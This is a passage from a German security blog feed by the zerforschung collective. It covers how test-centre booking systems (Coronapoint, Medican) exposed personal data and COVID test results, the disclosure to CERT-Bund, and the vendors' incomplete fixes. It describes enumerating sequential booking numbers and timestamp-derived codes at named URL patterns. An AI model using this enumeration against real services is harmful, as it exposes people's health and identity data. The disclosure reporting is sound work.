&lt;p&gt;Zur Erinnerung: Die Buchungsnummer war die Nummer, die einfach aufsteigend war. Eine zusätzliche UUID aus den CWA-QR-Codes ist also gar nicht nötig, was nicht nur einen zusätzlichen Angriffsvektor bietet, sondern die Abfrage der Ergebnisse auch noch einfacher macht.&lt;/p&gt;
&lt;h2 id=&#34;looping-um-looping-wird-uns-übler&#34;&gt;Looping um Looping wird uns übler&lt;/h2&gt;
&lt;p&gt;Einmal automatisch alle Zahlen aufsteigend durchprobiert, waren dort mehr als 140.000 Testergebnisse abrufbar. Zwar waren auch diese PDFs passwortgeschützt, aber einen wirklichen Schutz bietet das wie oben beschrieben nicht.&lt;/p&gt;
&lt;p&gt;Zweimal durch den Looping durch und kein Ende in Sicht: Mittlerweile haben wir Zugriff auf 140.000 Testergebnis-PDFs.
Doch was steht in denen überhaupt drin?
Eine ganze Menge, nämlich&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Geschlecht&lt;/li&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Adresse, PLZ, Ort&lt;/li&gt;
&lt;li&gt;Telefonnummer&lt;/li&gt;
&lt;li&gt;E-Mail&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Ausweis-Nr. (falls angegeben)&lt;/li&gt;
&lt;li&gt;Test-Name, Hersteller&lt;/li&gt;
&lt;li&gt;Test-Datum, Uhrzeit&lt;/li&gt;
&lt;li&gt;Testende Person (Name)&lt;/li&gt;
&lt;li&gt;Testergebnis&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/testergebnis.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/testergebnis.png&#34;
         alt=&#34;Screenshot des Testergebnis PDF&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Interessantes Detail am Rande: Zwar ist das Ausweisnummer-Feld im Registierungsformular optional, aber kaum als solches zu erkennen. Daher finden sich vermutlich sehr viele Ausweisnummern in den Daten.&lt;/p&gt;
&lt;h2 id=&#34;hallo-bsi-zerforschung-hier&#34;&gt;»Hallo BSI, zerforschung hier«&lt;/h2&gt;
&lt;p&gt;Wie immer, wenn wir solche Lücken finden, erstellen wir einen Aufschrieb der Lücke und schicken ihn an die zuständigen Stellen, in diesem Fall das CERT-Bund beim BSI sowie die Landesbeauftragte für Datenschutz und Informationsfreiheit Nordrhein-Westfalen (LfDI NRW).&lt;/p&gt;
&lt;p&gt;Das CERT-Bund hat dann Coronapoint informiert und schon wenige Stunden später bekamen wir eine Rückmeldung:&lt;br&gt;
Coronapoint behauptet, die Lücken geschlossen zu haben.&lt;/p&gt;
&lt;p&gt;Normalerweise endet hier unsere Fahrt mit dem Fazit: Hat durchgerüttelt, war anstrengend – und wir sind erleichtert, dass es vorbei ist.&lt;/p&gt;
&lt;p&gt;Meistens bekommen es die Unternehmen nämlich hin, ihre Lücken zu fixen und wir können kurze Zeit später unseren Bericht veröffentlichen.&lt;/p&gt;
&lt;p&gt;Meistens…&lt;/p&gt;
&lt;h2 id=&#34;und-noch-mehr-testergebnisse&#34;&gt;Und noch mehr Testergebnisse&lt;/h2&gt;
&lt;p&gt;Weil wir vor der Veröffentlichung immer sicher gehen wollen, dass die Lücken auch wirklich geschlossen sind, um keine persönlichen Daten zu gefährden, schauen wir selber besser nochmal nach:&lt;/p&gt;
&lt;p&gt;Laut Coronapoint werden die Dateien jetzt nicht mehr unter der Buchungsnummer, sondern unter einer UUID gespeichert, also einer langen, zufälligen Zeichenketten, die wir nicht einfach hochzählen oder erraten können.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/starwars-meme.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/starwars-meme.jpg&#34;
         alt=&#34;Wir haben den Report erhalten – Dann behebt ihr die Lücke, Richtig? – … – Dann behebt ihr die Lücke, Richtig?&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Doch wir können immer noch problemlos unseren QR-Code und das PDF abrufen. Hört diese Fahrt denn nie auf?&lt;/p&gt;
&lt;p&gt;Immerhin: Wenn wir uns aber erneut für einen Test registrieren, wird der QR-Code nicht wieder unter der Buchungsnummer gespeichert, sondern tatsächlich unter einer UUID.&lt;/p&gt;
&lt;h2 id=&#34;nix-gelernt&#34;&gt;Nix gelernt?!&lt;/h2&gt;
&lt;p&gt;Also packen wir wieder unser kleines Programm aus und probieren systematisch Buchungsnummern nach dem alten Schema durch.&lt;/p&gt;
&lt;p&gt;Dabei stellen wir fest: Wir können keine QR-Codes finden, die nach 9:45 Uhr erstellt wurden.
Allerdings sind die QR-Codes bis 9:45 Uhr immer noch abrufbar.
Coronapoint hatte also zwar die Speicherung für neue QR-Codes umgestellt, aber die alten Dateien einfach liegen lassen? 🤯&lt;/p&gt;
&lt;p&gt;Bei den Ergebnis-PDFs sieht es sogar noch schlimmer aus: Hier können wir nicht nur PDFs herunterladen, die nach 9:45 Uhr erstellt wurden, nein: Es kam sogar alle paar Sekunden ein neues PDF dazu. Hier hatte Coronapoint also einfach gar nichts geändert.&lt;/p&gt;
&lt;p&gt;Davon sind wir doch reichlich entsetzt, und melden dem CERT-Bund zurück, dass die Lücken nur unzureichend bzw. gar nicht behoben wurden.&lt;/p&gt;
&lt;p&gt;Auch darauf kam relativ schnell eine Antwort: Diese Lücken seien nun endgültig behoben.
Und tatsächlich waren keine PDFs mehr nach diesem Schema abrufbar.&lt;/p&gt;
&lt;h2 id=&#34;liebe-leute-so-gehts-nicht&#34;&gt;Liebe Leute, so geht&amp;rsquo;s nicht!&lt;/h2&gt;
&lt;p&gt;Dieses widerwillige, verzögerte Handeln hat dazu geführt, dass weitere Daten gefährdet wurden:
In der Zeit zwischen unserer ersten Meldung und dem endgültigen Beheben wurden mindestens 6.000 Testergebnis-PDFs zusätzlich abrufbar gemacht.&lt;/p&gt;
&lt;p&gt;Wir nehmen uns bei unseren Reports viel Zeit und geben uns Mühe, diese klar und verständlich zu schreiben, damit die Probleme von den betroffenen Unternehmen möglichst schnell nachvollzogen, verstanden und behoben werden können. Wir hatten beinahe den Eindruck, als ob Coronapoint unsere Reports nicht zu Ende gelesen hat.&lt;/p&gt;
&lt;p&gt;Wer sich dann so verhält, hat entweder keine Ahnung oder macht diese Fehler bewusst.
Beides ein sehr guter Grund, keine Software zu betreiben, die Kund*innen-Daten speichert, insbesondere wenn es um besonders schützenswerte Gesundheitsdaten geht.&lt;/p&gt;
&lt;h2 id=&#34;die-buchungsbestätigungen-liegen-einen-raum-weiter-tür-ist-offen&#34;&gt;Die Buchungsbestätigungen liegen einen Raum weiter, Tür ist offen&lt;/h2&gt;
&lt;p&gt;Während wir uns wütend an die Stirn schlagen, rasen wir immer noch durch die Achterbahn. Mittendrin aussteigen geht ja leider auch nicht.&lt;/p&gt;
&lt;p&gt;Natürlich haben wir noch weiter geschaut, ob wirklich alle Datenlücken geschlossen wurden.&lt;br&gt;
Und mussten feststellen: Das war nicht der Fall. Die Daten aus den QR-Codes, die man braucht, um über die &amp;ldquo;Neuen Termin buchen&amp;rdquo;-Funktion fremde Daten abzurufen, waren weiter gültig.&lt;/p&gt;
&lt;p&gt;Zwar können die QR-Codes jetzt nicht mehr einfach neu abgerufen werden, wer die zehntausenden QR-Codes aber bereits abgerufen hat, kann sich darüber weiter Zugriff auf die dazugehörigen Datensätze verschaffen.&lt;/p&gt;
&lt;p&gt;Da Coronapoint nicht ausschließen kann, dass jemand die QR-Codes abgerufen hat und damit Unfug treiben wird, müssten sie diese Daten eigentlich ungültig machen, um weiteren Schaden zu verhindern.&lt;/p&gt;
&lt;h2 id=&#34;oh-noch-mehr-pdfs&#34;&gt;Oh, noch mehr PDFs&lt;/h2&gt;
&lt;p&gt;Wir saßen gerade an einer E-Mail ans CERT-Bund, um nochmal auf dieses Problem aufmerksam zu machen, da kam uns eine Idee:&lt;/p&gt;
&lt;p&gt;Wenn alle Testergebnisse unter &lt;code&gt;https://e.coronapoint.de/pdfs/results/&lt;/code&gt; liegen, sind dann die Buchungsbestätigungen vielleicht ähnlich zu finden?&lt;br&gt;
Bingo! Wir müssen nicht einmal lange suchen: Unter &lt;code&gt;https://e.coronapoint.de/pdfs/bookings/{Buchungsnummer}.pdf&lt;/code&gt; liegen die Buchungsbestätigungen. Wieder war nur die leicht zu erratende aufsteigende Buchungsnummer zum Abruf der Daten nötig.
Als wir die Lücke entdeckten, waren es mehr als 34.000 Buchungsbestätigungen aus den letzten 3 Tagen.&lt;/p&gt;
&lt;p&gt;Und auch diese Daten haben es in sich:
Zwar war hier kein Testergebnis abrufbar, aber alle anderen Daten:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Geschlecht&lt;/li&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Adresse, PLZ, Ort&lt;/li&gt;
&lt;li&gt;Telefon&lt;/li&gt;
&lt;li&gt;E-Mail&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Ausweis-Nr. (falls angegeben)&lt;/li&gt;
&lt;li&gt;Testdatum/-Uhrzeit&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/buchungsbest%c3%a4tigung.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/buchungsbest%c3%a4tigung.png&#34;
         alt=&#34;Screenshot der Buchungsbestätigung&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;An dieser Stelle müssen wir uns wirklich zusammenreißen, nicht zu schreien. Es geht rasant in die Tiefe: Diese Lücke ist quasi identisch zu der bereits gemeldeten. Das zeugt schon von Unkenntnis über den eigenen Code und das eigene System. Wenn wir melden, dass in dem einen Ordner Dateien öffentlich zugänglich liegen, wird dieser Fehler geschlossen. Na gut. Aber wie kann es sein, dass dabei niemand bemerkt, dass der Ordner nebenan &lt;em&gt;auch&lt;/em&gt; öffentlich zugänglich ist?&lt;/p&gt;
&lt;p&gt;Das ist, als würden wir Bescheid geben, dass das linke Vorderrad der Achterbahn fehlt. Und als Reaktion wird dieses Rad angeschraubt, aber dass auch das rechte Vorderrad fehlt, scheint niemandem aufzufallen oder wird mit einem Schulterzucken einfach so hingenommen.&lt;/p&gt;
&lt;h2 id=&#34;fazit-fix-und-fertig&#34;&gt;Fazit: Fix und fertig&lt;/h2&gt;
&lt;p&gt;Nach der dritten Runde ist uns endgültig übel: Es ist einfach krass unverantwortlich, wie Testzentren immer und immer wieder fahrlässig  mit unseren Daten umgehen.&lt;/p&gt;
&lt;div class=&#34;shortcode-alarmtextbox&#34;&gt;
	&lt;p&gt;Auch die Betroffenen hat Coronapoint bisher &lt;strong&gt;nicht&lt;/strong&gt; informiert, dabei sind ihnen diese Lücken seit über einer Woche bekannt.&lt;/p&gt;
&lt;p&gt;Wir finden das ist das Mindeste, was eine Firma nach einem Leck solch privater Daten machen sollte und auch die Landesdatenschutzbeauftrage von Berlin &lt;a href=&#34;https://www.tagesspiegel.de/berlin/knapp-20-000-personen-betroffen-erneut-sicherheitsluecken-bei-berliner-testanbietern-aufgedeckt/27251112.html&#34;&gt;riet in einem ähnlichen Fall dringend&lt;/a&gt;, alle Betroffenen zu informieren.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Falls ihr nachfragen wollt, ob ihr betroffen seid, erreicht ihr Coronapoint unter:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;tel:+4921739938235&#34;&gt;02173 9938235&lt;/a&gt; (Mo. - Fr. 8 - 18 Uhr, Sa. 10 - 18 Uhr, So. u. Feiertags 10 - 16 Uhr)&lt;br&gt;
oder per E-Mail unter &lt;a href=&#34;mailto:info@coronapoint.de?subject=Datenleck-Betroffene&#34;&gt;info@coronapoint.de&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Coronapoint ist jetzt die fünfte&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt; (!) Testzentrensoftware, aus der wir ohne großen Aufwand persönliche Daten in großen Mengen abrufen konnten.&lt;/p&gt;
&lt;p&gt;Dabei sind wir auch &lt;a href=&#34;https://www.heise.de/news/Sicherheitsluecke-in-Corona-Testzentrum-keine-Daten-abgeflossen-6022986.html&#34;&gt;nicht die einzigen&lt;/a&gt;, &lt;a href=&#34;https://kraut.space/blog:content:ergebnis_des_corona-schnelltests_datenschutz_negativ&#34;&gt;denen das auffällt&lt;/a&gt; und die &lt;a href=&#34;https://www.golem.de/news/pcr-testzentren-persoenliche-daten-per-google-docs-veroeffentlicht-2106-157440.html&#34;&gt;auf die massiven Probleme hinweisen&lt;/a&gt;. Es gibt &lt;a href=&#34;https://www.tagesspiegel.de/berlin/ergebnisse-von-45-000-menschen-zugaenglich-datenleck-in-software-auch-zwei-berliner-teststationen-betroffen/27128722.html&#34;&gt;zahlreiche weitere Fälle&lt;/a&gt;, in denen die persönlichen Daten von Testzentren nicht geschützt waren. Noch sehr viel mehr Testzentren haben eine unzureichende Datenschutzerklärung.&lt;/p&gt;
&lt;p&gt;Aus unserer Sicht darf das nicht sein, dass sich die Mehrheit der Testzentren nicht an Gesetze halten – und dass das von Ehrenamtlichen aufgedeckt werden muss, weil in den zuständigen öffentlichen Stellen die Ressourcen fehlen, um dies zu kontrollieren. Denn Datenschutzbehörden könnten vorschreiben, wie eine Datenerhebung und -verarbeitung zu erfolgen hat und bei Verstößen &amp;ldquo;eine vorübergehende oder endgültige Beschränkung der Verarbeitung, einschließlich eines Verbots, [&amp;hellip;] verhängen&amp;rdquo; (Art 58, 2f, DSGVO).&lt;/p&gt;
&lt;h2 id=&#34;mehr-ressourcen-für-die-datenschutzbehörden&#34;&gt;Mehr Ressourcen für die Datenschutzbehörden!&lt;/h2&gt;
&lt;p&gt;Alleine im Land Berlin gibt es 1.300 Teststellen, die durch die Landesdatenschutz-Behörde kontrolliert werden sollten. Laut &lt;a href=&#34;https://www.datenschutz-berlin.de/fileadmin/user_upload/pdf/organisation/BlnBDI-Organigramm.pdf&#34;&gt;Organigramm&lt;/a&gt; ist für Gesundheitsdaten &lt;em&gt;eine einzige Person&lt;/em&gt; zuständig. Die Landesdatenschutzbeauftragten brauchen hier deutlich mehr Personal, um ihre Aufgaben überhaupt angemessen erfüllen zu können.&lt;/p&gt;
&lt;p&gt;Denn wo Kontrollen fehlen, gibt es auch keine Konsequenzen und so scheint der Datenschutz auch die Betreiber der Testzentren nicht zu interessieren.&lt;/p&gt;
&lt;p&gt;Die DSGVO verlangt, dass immer eine Datenschutzfolgenabschätzung (DSFA) geschrieben werden muss, wo Gesundheitsdaten verarbeitet werden – darunter fallen ganz klar Testzentren (Art 35, 3b DSGVO).&lt;/p&gt;
&lt;p&gt;Wir finden, dass diese Datenschutzfolgenabschätzung schon im Rahmen der &amp;ldquo;Beauftragung&amp;rdquo; der Testzentren eingereicht und überprüft werden sollte. Dies würde immerhin dazu führen, dass die Betreibenden sich wenigstens einmal mit dem Thema Datenschutz grob auseinander gesetzt haben müssen.&lt;/p&gt;
&lt;p&gt;Wir verweisen hier noch einmal auf die &lt;a href=&#34;https://www.baden-wuerttemberg.datenschutz.de/pandemie-bekaempfung-datenschutz-in-testzentren/&#34;&gt;Empfehlungen des Landesbeauftragten für Datenschutz und Informationsfreiheit Baden-Württemberg&lt;/a&gt;, was Testzentren-Betreibende beachten müssen und seine &lt;a href=&#34;https://www.baden-wuerttemberg.datenschutz.de/testzentren-lfdi-empfiehlt-dringend-sicherheitsvorkehrungen-bei-der-datenverarbeitung-zu-ueberpruefen/&#34;&gt;deutliche Einordnung&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wir müssen gerade in dieser Phase der Pandemie sorgsam mit den personenbezogenen Daten der Bürger_innen umgehen. Es darf keine ‚Nebenwirkung‘ von Corona-Tests sein, dass persönliche und sensible Daten von vielen Menschen irgendwo im Internet landen und für Dritte einsehbar sind.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Wer für so sensible Infrastruktur verantwortlich ist, wie es aktuell Testzentren sind, muss sich um deren Sicherheit kümmern. Ob die Betreiber ihren Pflichten nachkommen, muss sachlich geprüft werden – das ist wichtiger als &lt;a href=&#34;https://www.instagram.com/p/CQG30rYgixC/&#34;&gt;Pressefotos mit Karl Lauterbach&lt;/a&gt; &lt;a href=&#34;https://www.instagram.com/p/COTZNsRhW0i/&#34;&gt;und Rainer Wendt&lt;/a&gt;!&lt;/p&gt;
&lt;!--
# Update wegen stored XSS

...
--&gt;
&lt;h2 id=&#34;disclosure-timeline&#34;&gt;Disclosure Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2021-06-11: Leo kontaktiert uns&lt;/li&gt;
&lt;li&gt;2021-06-14 01 Uhr morgens: Wir melden die Lücken an CERT-Bund und LfDI NRW&lt;/li&gt;
&lt;li&gt;2021-06-14 11 Uhr: CERT-Bund antwortet uns. Hersteller behauptet Lücken geschlossen zu haben&lt;/li&gt;
&lt;li&gt;2021-06-15 12 Uhr: Wir stellen fest, dass die Lücken nur teilweise geschlossen sind und kontaktieren erneut das CERT-Bund&lt;/li&gt;
&lt;li&gt;2021-06-15 15 Uhr: Hersteller behauptet Lücken jetzt wirklich geschlossen zu haben&lt;/li&gt;
&lt;li&gt;2021-06-16: Wir stellen fest, dass CWA-Credentials weiterhin gültig sind und finden Buchungsbestätigungen&lt;/li&gt;
&lt;li&gt;2021-06-16 15 Uhr: Meldung an Cert-Bund&lt;/li&gt;
&lt;li&gt;2021-06-17: Buchungs-PDFs sind nicht mehr weiter abrufbar&lt;/li&gt;
&lt;/ul&gt;
&lt;!--
* 2021-06-21 23:30 Uhr: wir finden stored XSS Lücke
* 2021-06-22 01 Uhr: Meldung an CERT-Bund
...
--&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;An solch einem Artikel sitzen wir als Kollektiv &lt;strong&gt;deutlich&lt;/strong&gt; länger als eine Woche, vom Finden der Lücken, über das Schreiben der Reports, den Umgang mit den betroffenen Unternehmen bis zur Veröffentlichung dieses Posts.&lt;/p&gt;
&lt;p&gt;Falls er euch gefällt, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;könnt ihr uns gerne unterstützen&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Wir können zwar nicht versprechen, dass wir alles angucken, was uns zugesendet wird, aber wenn die Zeit gerade da ist, sind wir schon auch neugierig.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;wie in der Dokumentation der CWA empfohlen&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;und vermutlich auch nie waren 🙄&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;🚂🚃🚃🚃😱🚃🚃🚃&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;und das ganz ohne Blockchain!&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>No You Medican&#39;t</title>
      <link>https://zerforschung.org/posts/medicant/</link>
      <pubDate>Mon, 14 Jun 2021 18:00:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/medicant/</guid>
      <description>&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicant/titelbild.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicant/titelbild.jpg&#34;
         alt=&#34;zu viele Teststäbchen in einer Nase&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Spielt denselben Song nochmal! Neeeeeeein! Wir haben mittlerweile das vierte Testzentrums-Datenleck in drei Monaten gefunden und sind einfach nur noch genervt. Diesmal geht es um das Unternehmen Medican, gegen das die Staatsanwaltschaft wegen falsch gemeldeter Testzahlen ermittelt.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;In den letzten Monaten sind immer wieder Corona-Testzentren in den Schlagzeilen aufgetaucht, weil dort Sicherheitslücken gefunden wurden.&lt;br&gt;
Dieses Mal war es andersrum: Medican hat mehr als 50 Teststationen in ganz Deutschland betrieben – bis NDR, WDR und Süddeutsche Zeitung dann mal mit versteckter Kamera nachgezählt haben, ob sich wirklich so viele Menschen haben testen lassen, wie das Unternehmen angegeben hat.&lt;br&gt;
Die Antwort: Nein. Tatsächlich wurden teilweise &lt;a href=&#34;https://www.tagesschau.de/investigativ/wdr/corona-schnelltest-zentren-101.html&#34;&gt;mehr als 10 Mal so viele Tests abgerechnet wie Menschen dort waren&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Als wir davon hörten, wurde auch unser Interesse geweckt und wir haben uns dort mal registriert – und mussten feststellen, dass Medican offenbar nicht nur sehr locker mit der Zählung ihrer Getesteten umgegangen ist, sondern auch mit deren Daten.&lt;/p&gt;
&lt;h2 id=&#34;anmeldung-mit-doppeltem-durchschlag&#34;&gt;Anmeldung mit doppeltem Durchschlag&lt;/h2&gt;
&lt;p&gt;Wir wollen uns also testen lassen. Nachdem man auf der Seite mit der höchst seriösen URL &lt;code&gt;coronatest-eu.com&lt;/code&gt; einen Standort ausgewählt hat, wird man auf &lt;code&gt;medicanst.com&lt;/code&gt; weitergeleitet.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicant/registrierung.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicant/registrierung.png&#34;
         alt=&#34;Screenshot der Voranmeldung zum Test&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Schritt 1: Persönlichen Daten (inklusive Ausweisnummer) angeben.&lt;br&gt;
Schritt 2: &lt;a href=&#34;https://eur-lex.europa.eu/legal-content/DE/TXT/HTML/?uri=CELEX:32016R0679&amp;amp;from=DE&#34;&gt;DS-GVO&lt;/a&gt; lesen und bestätigen, dass man sie gelesen hat und akzeptiert.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;br&gt;
Schritt 3: &lt;a href=&#34;https://www.land.nrw/sites/default/files/asset/document/210602_coronaschvo_ab_05.06.2021_lesefassung.pdf&#34;&gt;Quarantäneverordnung NRW&lt;/a&gt; akzeptieren (obwohl wir garnicht in NRW sind?)&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicant/dsgvo_wtf.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicant/dsgvo_wtf.png&#34;
         alt=&#34;Abfrage ob man die DSGVO gelesen und akzeptiert hat (mit kaputter Grammatik) und der Quarantäneverordnung von NRW zustimmt&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Dann wird man diverse Male weitergeleitet und landet schließlich auf einer Seite, auf der man seine Ausweisnummer &lt;em&gt;nochmals&lt;/em&gt; eingeben soll.
Danach bekommt man seine Daten, ggf. bisherige Testergebnisse sowie einen QR-Code angezeigt, den man dann beim Check-In in der Teststation vorzeigen soll.&lt;/p&gt;
&lt;p&gt;Es gibt keinen passwortbasierten Login zum System, sondern man kann sein eigenes Profil immer wieder über diesen Link aufrufen.
Die Adresse zum Profil enthält zur Identifizierung einen 7-stelligen Code aus Großbuchstaben und Ziffern.&lt;br&gt;
Wir fühlen uns zuerst &lt;a href=&#34;https://zerforschung.org/posts/testzentrum-die-dritte/&#34;&gt;an unsere letzte Testzentrums-Geschichte&lt;/a&gt; erinnert. Allerdings gibt es hier erst mal Entwarnung, denn um ein weiteres mal auf die Daten zuzugreifen, muss man seine Ausweisnummer als eine Art Zugangsprüfung angeben.&lt;/p&gt;
&lt;h2 id=&#34;profilnummer-rein-pdf-raus&#34;&gt;Profilnummer rein, PDF raus&lt;/h2&gt;
&lt;p&gt;Eine weitere Funktion der Profilseite ist es, ein PDF mit den eigenen Daten und dem QR-Code zu erzeugen, um es dann im Testzentrum schnell vorzeigen zu können.
Wollen wir unser PDF herunterladen und klicken den entsprechenden Button, werden wir auf folgende URL weitergeleitet: &lt;code&gt;https://medicanst.com/customer/ticket/pdf/{CODE}&lt;/code&gt;.
Und hier entdecken wir den vorher erwähnten 7-stelligen Code wieder. Mit dem Unterschied, dass wir auf dieses PDF auch zugreifen können, ohne erneut die Ausweisnummer angeben zu müssen. Dieser Zugriff funktioniert auch von einem anderen Gerät – der 7-stelligen Code reicht also aus, um auf die richtige URL schließen zu können und dort das PDF zu bekommen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicant/pdf.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicant/pdf.png&#34;
         alt=&#34;Screenshot des PDF&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Darin stehen eine Menge Daten:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vorname&lt;/li&gt;
&lt;li&gt;Nachname&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse und&lt;/li&gt;
&lt;li&gt;Registrierungsdatum&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Damit können wir jetzt die PDF-Nummern durchprobieren. Da nur Großbuchstaben und Zahlen verwendet und anscheinend sogar nach einem bestimmten Schema zusammengesetzt werden, ist die Anzahl der möglichen Codes relativ begrenzt. Geht man von Buchstaben von A bis Z und zehn möglichen Ziffern aus, kommt man bei einem 7-stelligen Code auf mehr als 78 Milliarden Zeichen.&lt;/p&gt;
&lt;p&gt;Das klingt zwar viel, lässt sich aber durchaus automatisiert durchprobieren. Bei ein paar unserer Testregistrierungen hatten viele Codes die gleichen ersten Stellen. Wenn wir nur die letzten beiden Stellen durchprobierten, hatten wir eine Erfolgschance von 1%.&lt;/p&gt;
&lt;p&gt;Aber Moment: So kompliziert müssen wir es uns gar nicht machen – wir haben noch eine einfachere Möglichkeit gefunden, an die Codes heranzukommen.&lt;/p&gt;
&lt;h2 id=&#34;sag-mir-wann-du-dich-registriert-hast-und-ich-sage-dir-wie-du-heißt&#34;&gt;Sag mir, wann du dich registriert hast und ich sage dir, wie du heißt&lt;/h2&gt;
&lt;p&gt;In dem PDF fiel uns auch ein Eintrag namens &amp;ldquo;Test-ID&amp;rdquo; auf: Eine zehnstellige Nummer, die immer mit 162 beginnt.
Als wir etwas genauer draufschauten, entdeckten wir, dass diese Nummer bereits im Registrierungsforumlar in einem versteckten Feld namens &amp;ldquo;hash&amp;rdquo; vom Server festgelegt wurde.
Mehrere Aufrufe des Registrierungsformulars ergaben langsam aufsteigende &amp;ldquo;hash&amp;rdquo;-Werte.
Nach etwas Nachdenken stellten wir fest, dass es sich hierbei um den Unix-Timestamp handelt.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/Unixzeit&#34;&gt;Unix-Timestamps&lt;/a&gt; sind ein Weg, einen Zeitpunkt zu kodieren. Dabei werden einfach die Sekunden seit dem 01.01.1970 00:00 Uhr UTC kontinuierlich hochgezählt. Für Dienstag, den 8.6.2021 um 8:00 Uhr morgens wäre das dann beispielsweise die Zahl 1623132000.&lt;/p&gt;
&lt;p&gt;Der &amp;ldquo;hash&amp;rdquo;-Wert des Registrierungsformulars enthält also einen so kodierten Zeitpunkt, je nachdem, wann man das Formular aufgerufen hat.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Ein Blick in unsere Browser-History zeigt uns, dass wir nach der Registrierung einmal kurz über die URL &lt;code&gt;https://medicanst.com/customer/appointment?success=1&amp;amp;hash={HASH}&lt;/code&gt; weitergeleitet wurden, in der ausschließlich dieser zehnstellige Unix-Timestamp enthalten ist.&lt;br&gt;
Der spannende Punkt: In der Antwort auf diese Anfrage steht der siebenstellige Code, mit dem wir auch unser PDF abrufen können.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicant/trade_offer.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicant/trade_offer.png&#34;
